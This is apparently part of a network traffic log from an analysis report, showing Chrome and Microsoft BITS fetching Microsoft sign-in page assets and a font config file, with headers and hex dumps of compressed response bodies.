2024-04-16 23:42:45 UTC	805	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:42:45 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 12 Feb 2020 22:01:30 GMT ETag: 0x8D7B0071D86E386 x-ms-request-id: e6339bee-b01e-000d-5650-903a85000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234245Z-r1f585c6b65wcbj7wbun4au90000000005a0000000003mh8 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-16 23:42:45 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49750	13.107.246.36	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:42:45 UTC	418	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:42:46 UTC	786	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:42:46 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373CB2849 x-ms-request-id: 93f145cb-801e-0042-2057-90608b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234245Z-r1f585c6b65gj7jwqmmy8fr0dc00000003m00000000047bc x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-16 23:42:46 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49752	13.107.246.36	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:42:45 UTC	412	OUT	GET /shared/1.0/content/images/ellipsis_635a63d500a92a0b8497cdc58d0f66b1.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:42:45 UTC	799	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:42:45 GMT Content-Type: image/svg+xml Content-Length: 252 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:37 GMT ETag: 0x8D79B83739D7D79 x-ms-request-id: 941fbe0d-c01e-002e-5e57-90d6b0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234245Z-18655757dbc2z66dsb6gr56h38000000048g00000000e592 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-16 23:42:45 UTC	252	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e5 53 cb aa c3 20 10 fd 15 71 ed 63 6c ac 26 c5 04 da 7d 7f e0 ee 02 0d 31 d0 17 55 6a 3f bf 6a 52 b8 e5 26 9b bb e9 a2 a8 87 d1 f1 38 e7 0c 68 dc bd 47 8f d3 f1 ec 6a 6c bd bf 6e 38 0f 21 b0 50 b0 cb ad e7 2b 00 e0 f1 06 46 61 38 78 5b 63 a1 30 b2 dd d0 5b 3f c6 f7 a1 0b bb cb a3 c6 80 00 09 15 27 6e 8c 1f fc b1 6b 5a e7 3a ef 0c 1f 77 e6 da 7a 8b 0e 35 de 0b 26 64 41 14 2b d7 ba 8d 31 68 32 22 c4 21 08 93 52 31 28 ab 74 a8 e4 84 53 4a 81 4e 2b 1f 8a 09 c7 14 10 56 56 c5 5f 0e fd cd 79 af 44 5f 95 b6 33 22 34 a9 18 ac 65 3b ff 20 5d 52 41 93 8a ed 8c 72 1d fd 56 52 2d f8 a5 49 c6 be fc 44 4f de 39 59 7f 0a fe 61 7b 41 5c 26 cd b4 78 72 7b ca 48 e0 4b 5c 0b 99 ed 66 d3 3f 98 37 26 7d ae e6 09 a7 d4 d5 8c 84 03 00 00 Data Ascii: S qcl&}1Uj?jR&8hGjln8!P+Fa8x[c0[?'nkZ:wz5&dA+1h2"!R1(tSJN+VV_yD_3"4e; ]RArVR-IDO9Ya{A\&xr{HK\f?7&}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49751	13.107.246.36	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:42:45 UTC	417	OUT	GET /shared/1.0/content/images/ellipsis_grey_2b5d393db04a5e6e1f739cb266e65b4c.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:42:45 UTC	779	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:42:45 GMT Content-Type: image/svg+xml Content-Length: 263 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:37 GMT ETag: 0x8D79B83737D1C56 x-ms-request-id: 3f38aa3f-c01e-0056-0357-907ca1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234245Z-18655757dbcbzxzp0h22gr876n00000004ag00000000n1u9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-16 23:42:45 UTC	263	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e5 53 c9 6e c3 20 10 fd 15 44 af 2c 43 4d c0 ae c0 52 7a cf 0f f4 66 29 ae 8d e4 2c 2a 28 e4 f3 0b d8 95 1a d5 be f4 d2 43 59 9e 86 19 86 79 6f 24 8c bf 0d e8 7e 9a ce de e2 31 84 eb 0b e7 31 46 16 2b 76 f9 18 f8 33 00 f0 74 03 a3 e8 8e 61 b4 58 28 8c c6 de 0d 63 98 ed 9b eb e3 eb e5 6e 31 20 40 42 a5 85 5b 13 5c 98 fa b6 f3 be 0f de f0 f9 64 ae 5d 18 d1 bb 9b 26 8b 9f 74 19 18 1d 2d 3e 08 26 64 45 14 ab 77 ba 4b 36 68 32 23 a4 29 08 93 52 31 a8 9b ec 54 72 c1 25 a4 40 e7 5d 9c 62 c1 39 04 84 d5 4d f5 33 87 7e cf 79 ac 44 bf 2a ed 57 48 68 d2 30 d8 c9 6e fd 41 ba c5 82 66 16 fb 15 e6 3a e9 6d a4 da d0 4b 33 8d 43 fd 17 3d 79 cc 29 fc b3 f1 0b d9 1b e4 4a d2 4a 8b 17 b5 a7 82 04 fe 89 6a 21 8b dc 22 fa 0d f3 d6 e4 bf d6 7e 02 Data Ascii: Sn D,CMRzf),(CYyo$~11F+v3taX(cn1 @B[\d]&t->&dEwK6h2#)R1Tr%@]b9M3~yDWHh0nAf:mK3C=y)JJj!"~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	23.36.68.63	443

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:42:45 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-16 23:42:46 UTC	468	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/079C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Cache-Control: public, max-age=112818 Date: Tue, 16 Apr 2024 23:42:46 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	23.36.68.63	443

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:42:46 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-16 23:42:46 UTC	531	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0rcGnYgAAAAANOnx9vccHTr21ROgX9ESTU0pDRURHRTAzMDkAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=112801 Date: Tue, 16 Apr 2024 23:42:46 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-16 23:42:46 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49767	13.107.213.41	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:43:00 UTC	608	OUT	GET /converged_ux_v2_nBE5FSqn9KpH44ZlTc3VqQ2.css?v=1 HTTP/1.1 Host: acctcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:43:00 UTC	780	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:43:00 GMT Content-Type: text/css Content-Length: 17755 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Fri, 12 Apr 2024 16:51:25 GMT ETag: 0x8DC5B10CA727833 x-ms-request-id: c84e6928-501e-010a-2d4e-8d2772000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234300Z-r1f585c6b652whcnm5ddu23pd400000005bg000000002bck x-fd-int-roxy-purgeid: 67912908 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-16 23:43:00 UTC	15604	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 7d 69 73 db 46 d2 f0 77 ff 0a ac 5c ae 58 59 12 e1 2d 4a aa a4 d6 87 12 eb 59 1f 2a 4b d9 ec 56 de 94 0b 22 21 11 6b 10 60 01 a0 65 85 0f ff fb db 73 5f 3d 00 28 c9 89 9f aa 44 b1 44 ce f4 f4 5c 3d 3d 3d 33 7d 7c f7 ed df 82 17 f9 ea b6 48 ae 17 55 f0 f4 c5 7e f0 26 99 15 79 99 5f 55 90 5e ac f2 22 aa 92 3c 0b 83 67 69 1a 50 a0 32 28 e2 32 2e 3e c5 f3 30 f8 f6 bb ef be fd db a3 6e fb ff 82 f3 8b 67 ef 2f 82 77 3f 06 17 af 4e df bf 0c ce e0 db 7f 82 b7 ef 2e 4e 5f 9c 04 ad b1 3c 7a 74 b1 48 ca e0 2a 49 e3 00 fe 5e 46 65 3c 0f f2 2c c8 8b 20 c9 66 bc d5 71 19 2c e1 77 91 44 69 70 55 e4 cb a0 5a c4 c1 aa c8 ff 1b cf a0 0f 69 52 56 50 e8 32 4e f3 9b e0 29 a0 2b e6 c1 59 54 54 b7 c1 e9 d9 7e 18 5c 00 6c 0e dd 4d 32 28 3d 93 e3 Data Ascii: }isFw\XY-JYKV"!k`es_=(DD\===3}\|HU~&y_U^"<giP2(2.>0ng/w?N.N_<ztHI^Fe<, fq,wDipUZiRVP2N)+YTT~\lM2(=
2024-04-16 23:43:00 UTC	2151	IN	Data Raw: a8 5f 47 3c ef 7d 14 7d 22 58 4f cb 8f 39 f0 de e0 2c af 58 7e b5 a0 7f 63 e0 31 37 d1 3c 26 2d 94 77 df c1 7f a2 57 71 c2 10 a8 c4 ff 59 c4 d9 b5 4a 8f d2 eb 75 16 fc 94 57 8b 64 46 7a 55 92 a9 ba 8e d3 3c 38 81 cd a4 8c 8c b2 af 12 d2 d3 5b 33 f1 6d 7c 13 5c 44 49 f0 7a 6d d6 7e b6 88 ae cb 33 13 96 c2 59 8d 4c 82 e7 11 f0 26 92 98 67 d7 c0 58 a3 4c a5 fc 2b 78 0e 29 e4 d3 6d 94 c1 3c 06 24 26 22 7c 7d 11 2d 61 fc a3 e0 0d 8c c0 9e 4e 35 4c f0 fb 7d d1 9d 65 fb 1d 2c bd ba d9 df 7c 25 b3 ff d7 8c df 7d c6 c9 cb 22 dd 12 dd b3 b3 be fe f5 ef 62 fd 87 03 e7 71 93 27 69 0f a0 23 4c a9 45 67 39 43 60 39 86 fe 58 78 40 71 d8 86 d9 e1 70 32 d4 6f 6a 69 ab 44 e2 5f 2c ee 2f 82 6f 45 f0 75 77 3d 3d 8d 70 c2 c3 21 23 43 93 34 29 79 6f 95 3a 11 3b 5f 68 c5 a6 0c Data Ascii: _G<}}"XO9,X~c17<&-wWqYJuWdFzU<8[3m\|\DIzm~3YL&gXL+x)m<$&"\|}-aN5L}e,\|%}"bq'i#LEg9C`9Xx@qp2ojiD_,/oEuw==p!#C4)yo:;_h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49772	13.107.213.41	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:43:00 UTC	626	OUT	GET /images/microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2.svg HTTP/1.1 Host: acctcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:43:00 UTC	798	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:43:00 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Sat, 13 Apr 2024 04:51:43 GMT ETag: 0x8DC5B756AAC2753 x-ms-request-id: b8617e94-501e-00b6-0626-8efaf3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234300Z-18655757dbc2z66dsb6gr56h3800000004b0000000002uh7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-16 23:43:00 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49769	13.107.213.41	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:43:00 UTC	588	OUT	GET /jqueryshim_hlu0tTfjWJFWYNt1WZrVqg2.js?v=1 HTTP/1.1 Host: acctcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:43:00 UTC	814	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:43:00 GMT Content-Type: application/javascript Content-Length: 5564 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Mon, 15 Apr 2024 04:47:25 GMT ETag: 0x8DC5D0725B54E33 x-ms-request-id: da98a987-001e-002f-394c-8f6e97000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234300Z-18655757dbc4gwvzsyxmbcr8rs00000004dg0000000062sw x-fd-int-roxy-purgeid: 67912908 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-16 23:43:00 UTC	5564	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 cd 3c 6b 8f db 38 92 df fd 2b da c2 c2 90 10 c5 70 67 80 fb 60 b5 62 64 33 b3 97 e0 66 a6 f7 36 99 bd 3b 18 46 a0 b6 e9 b6 26 32 e9 a5 e8 ee 34 da fa ef 57 c5 87 44 52 92 fb e5 bb 64 06 88 5b 14 45 56 15 eb cd 22 d7 7b ba 14 39 a3 67 5f b2 d5 ea 97 1b 42 c5 af 79 29 08 25 3c 24 b1 88 69 74 4f 46 23 32 f6 5f ce da 4d 21 f6 9e 62 ef b3 9c 96 22 a3 4b c2 d6 67 1f 3e ff f6 eb 2f 05 d9 42 47 39 8e 10 d9 72 23 bf f3 1e c3 80 d1 e0 15 8e 51 ad 6b 98 ae 89 b8 e4 9f 88 f8 3b 67 bb f2 92 ea 81 4a 05 5a cc a3 fb 7c 0d df 5d fd 49 96 22 48 53 71 b7 c3 29 45 74 ff 65 cd f8 2f 30 f2 7f 90 3b 00 cb 8c 17 02 36 f0 22 bc c9 f8 59 99 4e e2 3c 25 63 02 43 96 49 79 91 8f 0b 42 af c5 26 29 5f bd 8a ee b1 07 4b f3 79 b9 48 f8 8c cd f9 62 4e 17 a9 Data Ascii: <k8+pg`bd3f6;F&24WDRd[EV"{9g_By)%<$itOF#2_M!b"Kg>/BG9r#Qk;gJZ\|]I"HSq)Ete/0;6"YN<%cCIyB&)_KyHbN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49770	13.107.213.41	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:43:00 UTC	592	OUT	GET /knockout_3.3.0_X1BYS2jZMbi7hfUj8VuqFA2.js?v=1 HTTP/1.1 Host: acctcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:43:00 UTC	815	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:43:00 GMT Content-Type: application/javascript Content-Length: 28582 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Mon, 15 Apr 2024 04:47:25 GMT ETag: 0x8DC5D07257FEE2F x-ms-request-id: 49cf529a-b01e-00b8-242b-8f58ee000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234300Z-18655757dbc4ww6dg55cr6ae4000000004fg000000002769 x-fd-int-roxy-purgeid: 67912908 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-16 23:43:00 UTC	15569	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 cc bd 69 73 db 48 96 36 fa dd 11 fe 0f 20 5e 87 0c 94 52 90 54 d5 33 d3 0d 1a e6 95 25 d9 56 95 2c b9 25 b9 aa ab 69 b5 03 1b 17 13 5c 44 90 5a 2c f2 bf df f3 9c cc 04 12 20 e4 aa 9e 77 e6 c6 75 57 8b 40 22 f7 e5 e4 d9 cf ee 0f ad 9d 3f ff cf ba bc 3a b8 b8 b2 ce df 5a 57 ef 4f 2e 8e ac 8f f4 f6 bb 75 76 7e 75 72 78 6c fd e9 5a 9e 3f 7b fe ec 6a 30 cc ad de 30 4b 2d fa 8d c2 3c 4d ac e9 c4 9a ce ad e1 24 9e ce 67 d3 79 b8 48 73 6b 4c 7f e7 c3 30 b3 7a f3 e9 d8 5a 0c 52 6b 36 9f 7e 4d e3 45 6e 65 c3 7c 41 85 a2 34 9b de 59 0e 55 37 4f ac 8f e1 7c f1 60 9d 7c 74 3d eb 8a f2 4e e7 c3 fe 70 42 a5 e3 e9 ec 81 9e 07 0b 6b 32 5d 0c e3 d4 0a 27 09 d7 96 d1 cb 24 4f ad e5 24 49 e7 d6 dd 60 18 0f ac 0f c3 78 3e cd a7 bd 85 35 4f e3 74 Data Ascii: isH6 ^RT3%V,%i\DZ, wuW@"?:ZWO.uv~urxlZ?{j00K-<M$gyHskL0zZRk6~MEne\|A4YU7O\|`\|t=NpBk2]'$O$I`x>5Ot
